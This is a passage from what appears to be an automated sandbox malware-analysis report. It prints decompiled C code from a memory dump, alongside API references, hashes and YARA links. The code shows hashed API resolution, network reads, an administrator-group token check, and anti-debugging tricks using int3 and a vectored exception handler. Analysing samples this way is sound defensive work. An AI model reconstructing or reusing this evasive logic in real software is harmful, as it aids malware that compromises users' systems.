						 *_t134 = _t42;
						E6EFF8CA0(_t139 + 0x34);
						E6EFF8CA0(_t139 + 0x44);
						goto L14;
					} else {
						goto L1;
					}
				} else {
					L1:
					E6EFF83B0(_t139 + 0x2c);
					E6F000B30(_t139 + 0x40,  *((intOrPtr*)(_t139 + 0x34)),  *((intOrPtr*)(_t139 + 0x2c)));
					E6F000B10(_t139 + 0x2c);
					_t130 = _t139;
					E6F0050A0(_t139 + 0x44, _t139, 0x6f019424);
					E6F003B00(_t86, _t130);
					E6F007560(_t130, _t124, _t130);
					 *((char*)( *((intOrPtr*)(E6F007600(_t86, 0))))) = 0;
					_t143 = _t134[0xa] - 1;
					if(_t134[0xa] > 1) {
						 *(_t139 + 0xc) = _t134;
						_t128 = 1;
						_t133 = _t139 + 0x54;
						while(1) {
							_t79 = E6F007600(_t86, _t128);
							_push(1);
							_push(0x6f01a9e0);
							E6EFF1BA0(_t143, _t133);
							_t81 = E6F000ED0(_t79, _t128,  *((intOrPtr*)(_t139 + 0x54)));
							E6F000B10(_t133);
							if(_t81 != 0) {
								break;
							}
							_t128 = _t128 + 1;
							if(_t128 <  *_t86) {
								continue;
							} else {
								_t134 =  *(_t139 + 0xc);
							}
							goto L6;
						}
						_t134 =  *(_t139 + 0xc);
						 *((char*)( *((intOrPtr*)(E6F007600(_t86, _t128))))) = 0;
					}
					L6:
					E6F003EC0(_t86);
					_push(0);
					E6F009350(_t139 + 0x10);
					_push(0x2800);
					E6F009350(_t139 + 0x20);
					while(1) {
						 *(_t139 + 0x5c) = 0;
						if(E6EFF15C0(0xd27f045a, 0x547ac48e) == 0) {
							break;
						}
						_t60 = E6F009640(_t139 + 0x20, 0);
						_t63 = InternetReadFile(_t134[4], _t60, E6F009650(_t139 + 0x1c), _t139 + 0x5c); // executed
						__eflags = _t63;
						if(_t63 == 0) {
							_t64 = E6EFF7F00();
							__eflags = _t64;
							if(_t64 != 0) {
								L9:
								 *_t134 = _t64;
								E6F009510(_t139 + 0x1c);
								E6F009510(_t139 + 0xc);
								E6EFF8CA0(_t139 + 0x34);
								E6EFF8CA0(_t139 + 0x44);
								L14:
								E6F000B10(_t139 + 0x3c);
								_push(0);
								E6F009350( *((intOrPtr*)(_t139 + 0x78)));
								return  *((intOrPtr*)(_t139 + 0x74));
							} else {
								goto L11;
							}
						} else {
							L11:
							__eflags =  *(_t139 + 0x5c);
							if( *(_t139 + 0x5c) == 0) {
								_push(_t139 + 0xc);
								E6F0093D0( *((intOrPtr*)(_t139 + 0x78)));
								E6F009510(_t139 + 0x1c);
								E6F009510(_t139 + 0xc);
								E6EFF8CA0(_t139 + 0x34);
								E6EFF8CA0(_t139 + 0x44);
								E6F000B10(_t139 + 0x3c);
								return  *((intOrPtr*)(_t139 + 0x74));
							} else {
								E6F009710(_t139 + 0x14, E6F009640(_t139 + 0x20, 0),  *(_t139 + 0x5c));
								continue;
							}
						}
						goto L22;
					}
					_t64 = 0x7f;
					goto L9;
				}
				L22:
			}

0x6f0139f9
0x6f0139f9
0x6f0139fb
0x6f013c44
0x6f013c49
0x6f013c4b
0x6f013b6d
0x6f013b74
0x6f013b7d
0x00000000
0x6f013c51
0x00000000
0x6f013c51
0x6f013a01
0x6f013a01
0x6f013a09
0x6f013a16
0x6f013a1f
0x6f013a24
0x6f013a31
0x6f013a39
0x6f013a40
0x6f013a50
0x6f013a53
0x6f013a57
0x6f013a59
0x6f013a5d
0x6f013a62
0x6f013a66
0x6f013a69
0x6f013a70
0x6f013a72
0x6f013a78
0x6f013a83
0x6f013a8c
0x6f013a95
0x00000000
0x00000000
0x6f013a9b
0x6f013a9e
0x00000000
0x6f013aa0
0x6f013aa0
0x6f013aa0
0x00000000
0x6f013a9e
0x6f013c30
0x6f013c3c
0x6f013c3c
0x6f013aa4
0x6f013aa6
0x6f013aab
0x6f013ab1
0x6f013ab6
0x6f013abf
0x6f013ac4
0x6f013ac4
0x6f013adf
0x00000000
0x00000000
0x6f013b1b
0x6f013b35
0x6f013b37
0x6f013b39
0x6f013c1c
0x6f013c21
0x6f013c23
0x6f013ae6
0x6f013ae6
0x6f013aed
0x6f013af6
0x6f013aff
0x6f013b08
0x6f013bb1
0x6f013bb5
0x6f013bba
0x6f013bc0
0x6f013bd0
0x6f013c29
0x00000000
0x6f013c29
0x6f013b3f
0x6f013b3f
0x6f013b3f
0x6f013b44
0x6f013bd7
0x6f013bdc
0x6f013be5
0x6f013bee
0x6f013bf7
0x6f013c00
0x6f013c09
0x6f013c19
0x6f013b4a
0x6f013b5e
0x00000000
0x6f013b5e
0x6f013b44
0x00000000
0x6f013b39
0x6f013ae1
0x00000000
0x6f013ae1
0x00000000

APIs

InternetReadFile.WININET(?,00000000,00000000,00000000,00000000,D27F045A,547AC48E), ref: 6F013B35

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: d5a10761604034e54f7ba4e19209549e9ee6ca0865ea0931bb7b149397119ab3
Instruction ID: c8619a33eca48842c8ea00c633d410a7bc04e30e86d19d571a4d7617a710a3e5
Opcode Fuzzy Hash: d5a10761604034e54f7ba4e19209549e9ee6ca0865ea0931bb7b149397119ab3
Instruction Fuzzy Hash: 1F512D31218304DFE705EB64D8A1BAFB3A4AF94748F80492DF596572E0EF35A909CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF22A0, Relevance: 1.6, APIs: 1, Instructions: 69
nativeCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E6EFF22A0(void* __ecx, intOrPtr __edx) {
				intOrPtr* _v8;
				intOrPtr _v24;
				intOrPtr* _t10;
				void* _t13;
				void* _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr* _t22;
				intOrPtr* _t23;
				intOrPtr* _t24;

				_t19 = __edx;
				_t24 =  &_v8;
				if(__ecx == 0) {
					 *_t24 = 0;
					_v8 = 0;
				} else {
					 *_t24 = E6EFF1230(0xffffd8f0, 0xffffffff, __ecx, 0);
					_v24 = _t19;
				}
				_t20 =  *0x6f01b1f4; // 0x14a1340
				if(_t20 == 0xc139578) {
					 *0x6f01b1f4 = 0;
					_t20 = 0;
				}
				if(_t20 == 0) {
					L10:
					_push(0x588ab3ea);
					_t10 = E6EFF7564(0x588ab3ea);
					_t23 = _t10;
					if(_t23 == 0) {
						_t10 = E6EFF6C50(0x588ab3ea);
						if(_t10 != 0) {
							_push(0x588ab3ea);
							_t10 = E6EFF7564(0x588ab3ea);
							_t23 = _t10;
						}
					}
					if(_t23 == 0) {
						goto L15;
					} else {
						_t24 = _t24 + 0xfffffff8;
						_t10 = E6EFF67C8(_t23, 0xcd123e03);
						_t22 = _t10;
						goto L13;
					}
				} else {
					do {
						_t18 = 0;
						_t10 = 0;
						while( *((intOrPtr*)(_t10 + _t20 + 8)) != 0xcd123e03) {
							_t18 = _t18 + 1;
							_t10 = _t10 + 0x18;
							if(_t18 < 0x10) {
								continue;
							}
							goto L9;
						}
						_t22 =  *((intOrPtr*)(_t10 + _t20 + 0x14));
						if(_t22 != 0) {
							L13:
							if(_t22 == 0) {
								L15:
								return _t10;
							}
							_t13 =  *_t22(0, _t24); // executed
							return _t13;
						}
						goto L10;
						L9:
						asm("o16 nop [eax+eax]");
						_t5 = _t20 + 0x180; // 0x14a8e68
						_t20 =  *_t5;
					} while (_t20 != 0);
					goto L10;
				}
			}

0x6eff22a0
0x6eff22a1
0x6eff22a6
0x6eff22c2
0x6eff22c5
0x6eff22a8
0x6eff22b7
0x6eff22ba
0x6eff22ba
0x6eff22c9
0x6eff22d5
0x6eff22d7
0x6eff22e1
0x6eff22e1
0x6eff22e5
0x6eff230e
0x6eff2313
0x6eff2314
0x6eff2319
0x6eff231d
0x6eff234a
0x6eff2351
0x6eff2358
0x6eff2359
0x6eff235e
0x6eff235e
0x6eff2351
0x6eff2321
0x00000000
0x6eff2323
0x6eff232a
0x6eff232d
0x6eff2332
0x00000000
0x6eff2332
0x6eff22e7
0x6eff22e7
0x6eff22e7
0x6eff22e9
0x6eff22eb
0x6eff22f5
0x6eff22f6
0x6eff22fc
0x00000000
0x00000000
0x00000000
0x6eff22fc
0x6eff2362
0x6eff2368
0x6eff2334
0x6eff2336
0x6eff2344
0x6eff2344
0x6eff2344
0x6eff233e
0x00000000
0x6eff233e
0x00000000
0x6eff22fe
0x6eff22fe
0x6eff2304
0x6eff2304
0x6eff230a
0x00000000
0x6eff22e7

APIs

NtDelayExecution.NTDLL(00000000,00000000), ref: 6EFF233E

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: 898f570a2bbe065a0423b217a0fa45f180e6d8296ade747a30a3656503a32885
Instruction ID: f54c35eaca80dcd5f0081f0650c38fdec5be29608acd55dec5bb40ffd2d4a808
Opcode Fuzzy Hash: 898f570a2bbe065a0423b217a0fa45f180e6d8296ade747a30a3656503a32885
Instruction Fuzzy Hash: 8A112CB0F18683CBF74897E84C7075A71DAAF40714F15C62DD415D72A8EF32C8078291

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF7A60, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6EFF7A60(intOrPtr* __ecx) {
				void* _t1;

				_push(E6EFF7D40);
				_push(1); // executed
				_t1 =  *__ecx(); // executed
				return _t1;
			}

0x6eff7a60
0x6eff7a65
0x6eff7a67
0x6eff7a69

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,6EFF7D40,6EFF7A11,588AB3EA,?,?,6EFE5168,00000001), ref: 6EFF7A67

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: e1b4f6aa149ff304ebf3f705141435ab811b301e2f4b1fba5c8fb9e0441a74b8
Instruction ID: 21020e071fa3072654bdfdc178cbf407008071e075410fbbb36c0fccf8fcc194
Opcode Fuzzy Hash: e1b4f6aa149ff304ebf3f705141435ab811b301e2f4b1fba5c8fb9e0441a74b8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF67C8, Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4c637d0b1bf4fbe6f5271401a9e5c02257fa894ad9682680f1a41be8b648e42
Instruction ID: f0aa3d22445ea6ab05a45b5afdaa9187eaa060a6b08fd68af2698ca3ac46c26c
Opcode Fuzzy Hash: a4c637d0b1bf4fbe6f5271401a9e5c02257fa894ad9682680f1a41be8b648e42
Instruction Fuzzy Hash: B0C1A170668346CFE760DF95C4A075A77E0BF85308F12842DE8988B265EF71994ACBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF47B0, Relevance: 3.6, APIs: 2, Instructions: 618
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6EFF47B0(void* __ebx, intOrPtr __edi, intOrPtr __esi) {
				void* _t93;
				long _t99;
				void* _t109;
				int _t112;
				intOrPtr _t118;
				char _t133;
				intOrPtr _t141;
				void* _t144;
				void* _t149;
				intOrPtr _t150;
				intOrPtr _t155;
				void* _t158;
				void* _t161;
				intOrPtr _t163;
				void* _t166;
				void* _t169;
				int _t174;
				intOrPtr _t179;
				void* _t182;
				void* _t185;
				void* _t194;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				void* _t203;
				intOrPtr* _t205;
				void* _t206;
				long _t207;
				void* _t209;
				void* _t213;
				void* _t214;
				void* _t233;
				void* _t235;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t239;
				void* _t242;
				void* _t243;
				void* _t245;
				long _t246;
				intOrPtr* _t248;
				long _t249;
				long _t250;
				long _t253;
				long _t255;
				long _t258;
				long _t259;
				long _t261;
				intOrPtr _t266;
				long _t267;
				intOrPtr _t270;
				intOrPtr _t272;
				intOrPtr* _t273;
				intOrPtr _t277;
				intOrPtr* _t278;
				void* _t281;
				signed int _t283;
				void* _t284;
				void* _t285;

				_t272 = __esi;
				_t270 = __edi;
				_t285 = _t284 - 0x38;
				_t246 =  *0x6f01b1f4; // 0x14a1340
				 *(_t285 + 0x34) = 0;
				if(_t246 == 0xc139578) {
					 *0x6f01b1f4 = 0;
					goto L6;
				} else {
					if(_t246 == 0) {
						L6:
						_push(0x3ab94787);
						_t196 = E6EFF7564(0x3ab94787);
						if(_t196 == 0) {
							if(E6EFF6C50(0x3ab94787) != 0) {
								_push(0x3ab94787);
								_t196 = E6EFF7564(0x3ab94787);
							}
						}
						if(_t196 == 0) {
							goto L25;
						} else {
							_t285 = _t285 + 0xfffffff8;
							_t248 = E6EFF67C8(_t196, 0xc17c5a6e);
							goto L9;
						}
					} else {
						do {
							_t245 = 0;
							_t194 = 0;
							while( *((intOrPtr*)(_t194 + _t246 + 8)) != 0xc17c5a6e) {
								_t245 = _t245 + 1;
								_t194 = _t194 + 0x18;
								if(_t245 < 0x10) {
									continue;
								} else {
									goto L5;
								}
								goto L186;
							}
							_t248 =  *((intOrPtr*)(_t194 + _t246 + 0x14));
							if(_t248 != 0) {
								L9:
								if(_t248 == 0) {
									L25:
									return 0;
								} else {
									_push(_t285 + 0x34);
									_push(8);
									_push(0xffffffff);
									if( *_t248() == 0) {
										_t93 = E6EFF7BF0(0xea5f6acc, _t272, 0xea5f6acc);
										if(_t93 != 0) {
											L174:
											if(_t93 == 0) {
												goto L178;
											} else {
												asm("int3");
												return _t93;
											}
										} else {
											_push(0xa1310f65);
											_t214 = E6EFF7564(0xa1310f65);
											if(_t214 == 0) {
												if(E6EFF6C50(0xa1310f65) != 0) {
													_push(0xa1310f65);
													_t214 = E6EFF7564(0xa1310f65);
												}
											}
											if(_t214 == 0) {
												L178:
												if(0 != 0) {
													goto L25;
												} else {
													goto L11;
												}
											} else {
												_t285 = _t285 + 0xfffffff8;
												_t93 = E6EFF67C8(_t214, 0xea5f6acc);
												goto L174;
											}
										}
									} else {
										L11:
										_t249 =  *0x6f01b1f4; // 0x14a1340
										 *(_t285 + 0x28) =  *(_t285 + 0x34);
										 *((char*)(_t285 + 0x2c)) = 1;
										 *(_t285 + 0x30) = 0;
										if(_t249 == 0xc139578) {
											 *0x6f01b1f4 = 0;
											goto L17;
										} else {
											if(_t249 == 0) {
												L17:
												_push(0x3ab94787);
												_t198 = E6EFF7564(0x3ab94787);
												if(_t198 == 0) {
													if(E6EFF6C50(0x3ab94787) != 0) {
														_push(0x3ab94787);
														_t198 = E6EFF7564(0x3ab94787);
													}
												}
												if(_t198 == 0) {
													goto L22;
												} else {
													_t285 = _t285 + 0xfffffff8;
													_t266 = E6EFF67C8(_t198, 0x2eeff4c6);
													goto L20;
												}
											} else {
												do {
													_t243 = 0;
													_t185 = 0;
													while( *((intOrPtr*)(_t185 + _t249 + 8)) != 0x2eeff4c6) {
														_t243 = _t243 + 1;
														_t185 = _t185 + 0x18;
														if(_t243 < 0x10) {
															continue;
														} else {
															goto L16;
														}
														goto L186;
													}
													_t266 =  *((intOrPtr*)(_t185 + _t249 + 0x14));
													if(_t266 != 0) {
														L20:
														if(_t266 == 0) {
															L22:
															_t99 =  *(_t285 + 0x30);
															if(_t99 != 0) {
																_push(_t99);
																E6F009350(_t285 + 4);
																_t250 =  *0x6f01b1f4; // 0x14a1340
																if(_t250 == 0xc139578) {
																	 *0x6f01b1f4 = 0;
																	goto L32;
																} else {
																	if(_t250 == 0) {
																		L32:
																		_push(0x3ab94787);
																		_t199 = E6EFF7564(0x3ab94787);
																		if(_t199 == 0) {
																			if(E6EFF6C50(0x3ab94787) != 0) {
																				_push(0x3ab94787);
																				_t199 = E6EFF7564(0x3ab94787);
																			}
																		}
																		if(_t199 == 0) {
																			goto L36;
																		} else {
																			_t285 = _t285 + 0xfffffff8;
																			_t277 = E6EFF67C8(_t199, 0x2eeff4c6);
																			goto L35;
																		}
																	} else {
																		do {
																			_t239 = 0;
																			_t169 = 0;
																			while( *((intOrPtr*)(_t169 + _t250 + 8)) != 0x2eeff4c6) {
																				_t239 = _t239 + 1;
																				_t169 = _t169 + 0x18;
																				if(_t239 < 0x10) {
																					continue;
																				} else {
																					goto L31;
																				}
																				goto L186;
																			}
																			_t277 =  *((intOrPtr*)(_t169 + _t250 + 0x14));
																			if(_t277 != 0) {
																				L35:
																				if(_t277 != 0) {
																					_t109 = E6F009640(_t285 + 4, 0);
																					_t112 = GetTokenInformation( *(_t285 + 0x44), 2, _t109, E6F009650(_t285), _t285 + 0x30); // executed
																					if(_t112 == 0) {
																						_t253 =  *0x6f01b1f4; // 0x14a1340
																						if(_t253 == 0xc139578) {
																							 *0x6f01b1f4 = 0;
																							goto L131;
																						} else {
																							if(_t253 == 0) {
																								L131:
																								_push(0xa1310f65);
																								_t202 = E6EFF7564(0xa1310f65);
																								if(_t202 == 0) {
																									if(E6EFF6C50(0xa1310f65) != 0) {
																										_push(0xa1310f65);
																										_t202 = E6EFF7564(0xa1310f65);
																									}
																								}
																								if(_t202 == 0) {
																									goto L138;
																								} else {
																									_t285 = _t285 + 0xfffffff8;
																									_t163 = E6EFF67C8(_t202, 0xea5f6acc);
																									goto L134;
																								}
																							} else {
																								do {
																									_t238 = 0;
																									_t166 = 0;
																									while( *((intOrPtr*)(_t166 + _t253 + 8)) != 0xea5f6acc) {
																										_t238 = _t238 + 1;
																										_t166 = _t166 + 0x18;
																										if(_t238 < 0x10) {
																											continue;
																										} else {
																											goto L130;
																										}
																										goto L186;
																									}
																									_t163 =  *((intOrPtr*)(_t166 + _t253 + 0x14));
																									if(_t163 != 0) {
																										L134:
																										if(_t163 == 0) {
																											L138:
																											if(0 != 0) {
																												goto L36;
																											} else {
																												goto L40;
																											}
																										} else {
																											asm("int3");
																											return _t163;
																										}
																									} else {
																										goto L131;
																									}
																									goto L186;
																									L130:
																									asm("o16 nop [eax+eax]");
																									_t70 = _t253 + 0x180; // 0x14a8e68
																									_t253 =  *_t70;
																								} while (_t253 != 0);
																								goto L131;
																							}
																						}
																					} else {
																						L40:
																						_t278 = E6F009640(_t285 + 4, 0);
																						_t118 =  *0x6f01a148; // 0x0
																						 *((short*)(_t285 + 0x14)) =  *0x6f01a14c & 0x0000ffff;
																						_t255 =  *0x6f01b1f4; // 0x14a1340
																						 *(_t285 + 0x24) = 0;
																						 *((intOrPtr*)(_t285 + 0x10)) = _t118;
																						if(_t255 == 0xc139578) {
																							 *0x6f01b1f4 = 0;
																							goto L46;
																						} else {
																							if(_t255 == 0) {
																								L46:
																								_push(0x3ab94787);
																								_t203 = E6EFF7564(0x3ab94787);
																								if(_t203 == 0) {
																									if(E6EFF6C50(0x3ab94787) != 0) {
																										_push(0x3ab94787);
																										_t203 = E6EFF7564(0x3ab94787);
																									}
																								}
																								if(_t203 == 0) {
																									goto L87;
																								} else {
																									_t285 = _t285 + 0xfffffff8;
																									_t205 = E6EFF67C8(_t203, 0xff8924ad);
																									goto L49;
																								}
																							} else {
																								do {
																									_t237 = 0;
																									_t161 = 0;
																									while( *((intOrPtr*)(_t161 + _t255 + 8)) != 0xff8924ad) {
																										_t237 = _t237 + 1;
																										_t161 = _t161 + 0x18;
																										if(_t237 < 0x10) {
																											continue;
																										} else {
																											goto L45;
																										}
																										goto L186;
																									}
																									_t205 =  *((intOrPtr*)(_t161 + _t255 + 0x14));
																									if(_t205 != 0) {
																										L49:
																										if(_t205 == 0) {
																											L87:
																											E6F009510(_t285);
																											if( *((char*)(_t285 + 0x2c)) != 0) {
																												E6F00BE30(_t285 + 0x28, _t272);
																											}
																											return 0;
																										} else {
																											_push(_t285 + 0x24);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0x220);
																											_push(0x20);
																											_push(2);
																											_push(_t285 + 0x10);
																											if( *_t205() == 0) {
																												_t258 =  *0x6f01b1f4; // 0x14a1340
																												if(_t258 == 0xc139578) {
																													 *0x6f01b1f4 = 0;
																													goto L107;
																												} else {
																													if(_t258 == 0) {
																														L107:
																														_push(0xa1310f65);
																														_t206 = E6EFF7564(0xa1310f65);
																														if(_t206 == 0) {
																															if(E6EFF6C50(0xa1310f65) != 0) {
																																_push(0xa1310f65);
																																_t206 = E6EFF7564(0xa1310f65);
																															}
																														}
																														if(_t206 == 0) {
																															goto L114;
																														} else {
																															_t285 = _t285 + 0xfffffff8;
																															_t155 = E6EFF67C8(_t206, 0xea5f6acc);
																															goto L110;
																														}
																													} else {
																														do {
																															_t236 = 0;
																															_t158 = 0;
																															while( *((intOrPtr*)(_t158 + _t258 + 8)) != 0xea5f6acc) {
																																_t236 = _t236 + 1;
																																_t158 = _t158 + 0x18;
																																if(_t236 < 0x10) {
																																	continue;
																																} else {
																																	goto L106;
																																}
																																goto L186;
																															}
																															_t155 =  *((intOrPtr*)(_t158 + _t258 + 0x14));
																															if(_t155 != 0) {
																																L110:
																																if(_t155 == 0) {
																																	L114:
																																	if(0 != 0) {
																																		goto L87;
																																	} else {
																																		goto L51;
																																	}
																																} else {
																																	asm("int3");
																																	return _t155;
																																}
																															} else {
																																goto L107;
																															}
																															goto L186;
																															L106:
																															asm("o16 nop [eax+eax]");
																															_t63 = _t258 + 0x180; // 0x14a8e68
																															_t258 =  *_t63;
																														} while (_t258 != 0);
																														goto L107;
																													}
																												}
																											} else {
																												L51:
																												_t207 =  *(_t285 + 0x24);
																												if( *_t278 <= 0) {
																													L67:
																													if(_t207 == 0 || _t207 == 0xffffffff) {
																														_t133 = 1;
																													} else {
																														_t133 = 0;
																													}
																													if(_t133 != 0) {
																														L84:
																														E6F009510(_t285);
																														if( *((char*)(_t285 + 0x2c)) != 0) {
																															E6F00BE30(_t285 + 0x28, _t272);
																														}
																														return 0;
																													} else {
																														_t259 =  *0x6f01b1f4; // 0x14a1340
																														if(_t259 == 0xc139578) {
																															 *0x6f01b1f4 = 0;
																															goto L79;
																														} else {
																															if(_t259 == 0) {
																																L79:
																																_push(0x3ab94787);
																																_t281 = E6EFF7564(0x3ab94787);
																																if(_t281 == 0) {
																																	if(E6EFF6C50(0x3ab94787) != 0) {
																																		_push(0x3ab94787);
																																		_t281 = E6EFF7564(0x3ab94787);
																																	}
																																}
																																if(_t281 == 0) {
																																	goto L84;
																																} else {
																																	_t285 = _t285 + 0xfffffff8;
																																	_t141 = E6EFF67C8(_t281, 0x9d775c6);
																																	goto L82;
																																}
																															} else {
																																do {
																																	_t233 = 0;
																																	_t144 = 0;
																																	while( *((intOrPtr*)(_t144 + _t259 + 8)) != 0x9d775c6) {
																																		_t233 = _t233 + 1;
																																		_t144 = _t144 + 0x18;
																																		if(_t233 < 0x10) {
																																			continue;
																																		} else {
																																			goto L78;
																																		}
																																		goto L186;
																																	}
																																	_t141 =  *((intOrPtr*)(_t144 + _t259 + 0x14));
																																	if(_t141 != 0) {
																																		L82:
																																		if(_t141 == 0) {
																																			goto L84;
																																		} else {
																																			_push(_t207);
																																			asm("int3");
																																			return _t141;
																																		}
																																	} else {
																																		goto L79;
																																	}
																																	goto L186;
																																	L78:
																																	asm("o16 nop [eax+eax]");
																																	_t52 = _t259 + 0x180; // 0x14a8e68
																																	_t259 =  *_t52;
																																} while (_t259 != 0);
																																goto L79;
																															}
																														}
																													}
																												} else {
																													 *(_t285 + 0x18) = _t207;
																													 *((intOrPtr*)(_t285 + 0x1c)) = _t272;
																													_t273 = _t278;
																													 *((intOrPtr*)(_t285 + 0x20)) = _t270;
																													_t283 = 0;
																													do {
																														_t261 =  *0x6f01b1f4; // 0x14a1340
																														if(_t261 == 0xc139578) {
																															 *0x6f01b1f4 = 0;
																															goto L60;
																														} else {
																															if(_t261 == 0) {
																																L60:
																																_push(0x3ab94787);
																																_t209 = E6EFF7564(0x3ab94787);
																																if(_t209 == 0) {
																																	if(E6EFF6C50(0x3ab94787) != 0) {
																																		_push(0x3ab94787);
																																		_t209 = E6EFF7564(0x3ab94787);
																																	}
																																}
																																if(_t209 == 0) {
																																	goto L65;
																																} else {
																																	_t285 = _t285 + 0xfffffff8;
																																	_t150 = E6EFF67C8(_t209, 0x68adfb76);
																																	goto L63;
																																}
																															} else {
																																do {
																																	_t235 = 0;
																																	_t149 = 0;
																																	while( *((intOrPtr*)(_t149 + _t261 + 8)) != 0x68adfb76) {
																																		_t235 = _t235 + 1;
																																		_t149 = _t149 + 0x18;
																																		if(_t235 < 0x10) {
																																			continue;
																																		} else {
																																			goto L59;
																																		}
																																		goto L186;
																																	}
																																	_t150 =  *((intOrPtr*)(_t149 + _t261 + 0x14));
																																	if(_t150 != 0) {
																																		L63:
																																		if(_t150 == 0) {
																																			goto L65;
																																		} else {
																																			_push( *((intOrPtr*)(_t273 + 4 + _t283 * 8)));
																																			_push( *(_t285 + 0x28));
																																			asm("int3");
																																			return _t150;
																																		}
																																	} else {
																																		goto L60;
																																	}
																																	goto L186;
																																	L59:
																																	asm("o16 nop [eax+eax]");
																																	_t42 = _t261 + 0x180; // 0x14a8e68
																																	_t261 =  *_t42;
																																} while (_t261 != 0);
																																goto L60;
																															}
																														}
																														goto L186;
																														L65:
																														_t283 = _t283 + 1;
																													} while (_t283 <  *_t273);
																													_t207 =  *(_t285 + 0x18);
																													_t272 =  *((intOrPtr*)(_t285 + 0x1c));
																													goto L67;
																												}
																											}
																										}
																									} else {
																										goto L46;
																									}
																									goto L186;
																									L45:
																									asm("o16 nop [eax+eax]");
																									_t33 = _t255 + 0x180; // 0x14a8e68
																									_t255 =  *_t33;
																								} while (_t255 != 0);
																								goto L46;
																							}
																						}
																					}
																				} else {
																					L36:
																					E6F009510(_t285);
																					if( *((char*)(_t285 + 0x2c)) != 0) {
																						E6F00BE30(_t285 + 0x28, _t272);
																					}
																					return 0;
																				}
																			} else {
																				goto L32;
																			}
																			goto L186;
																			L31:
																			asm("o16 nop [eax+eax]");
																			_t21 = _t250 + 0x180; // 0x14a8e68
																			_t250 =  *_t21;
																		} while (_t250 != 0);
																		goto L32;
																	}
																}
															} else {
																if( *((char*)(_t285 + 0x2c)) != 0) {
																	E6F00BE30(_t285 + 0x28, _t272);
																}
																goto L25;
															}
														} else {
															_t174 = GetTokenInformation( *(_t285 + 0x44), 2, 0, 0, _t285 + 0x30); // executed
															if(_t174 == 0) {
																_t267 =  *0x6f01b1f4; // 0x14a1340
																if(_t267 == 0xc139578) {
																	 *0x6f01b1f4 = 0;
																	goto L155;
																} else {
																	if(_t267 == 0) {
																		L155:
																		_push(0xa1310f65);
																		_t213 = E6EFF7564(0xa1310f65);
																		if(_t213 == 0) {
																			if(E6EFF6C50(0xa1310f65) != 0) {
																				_push(0xa1310f65);
																				_t213 = E6EFF7564(0xa1310f65);
																			}
																		}
																		if(_t213 == 0) {
																			goto L22;
																		} else {
																			_t285 = _t285 + 0xfffffff8;
																			_t179 = E6EFF67C8(_t213, 0xea5f6acc);
																			goto L158;
																		}
																	} else {
																		do {
																			_t242 = 0;
																			_t182 = 0;
																			while( *((intOrPtr*)(_t182 + _t267 + 8)) != 0xea5f6acc) {
																				_t242 = _t242 + 1;
																				_t182 = _t182 + 0x18;
																				if(_t242 < 0x10) {
																					continue;
																				} else {
																					goto L154;
																				}
																				goto L186;
																			}
																			_t179 =  *((intOrPtr*)(_t182 + _t267 + 0x14));
																			if(_t179 != 0) {
																				L158:
																				if(_t179 == 0) {
																					goto L22;
																				} else {
																					asm("int3");
																					return _t179;
																				}
																			} else {
																				goto L155;
																			}
																			goto L186;
																			L154:
																			asm("o16 nop [eax+eax]");
																			_t77 = _t267 + 0x180; // 0x14a8e68
																			_t267 =  *_t77;
																		} while (_t267 != 0);
																		goto L155;
																	}
																}
															} else {
																goto L22;
															}
														}
													} else {
														goto L17;
													}
													goto L186;
													L16:
													asm("o16 nop [eax+eax]");
													_t12 = _t249 + 0x180; // 0x14a8e68
													_t249 =  *_t12;
												} while (_t249 != 0);
												goto L17;
											}
										}
									}
								}
							} else {
								goto L6;
							}
							goto L186;
							L5:
							asm("o16 nop [eax+eax]");
							_t4 = _t246 + 0x180; // 0x14a8e68
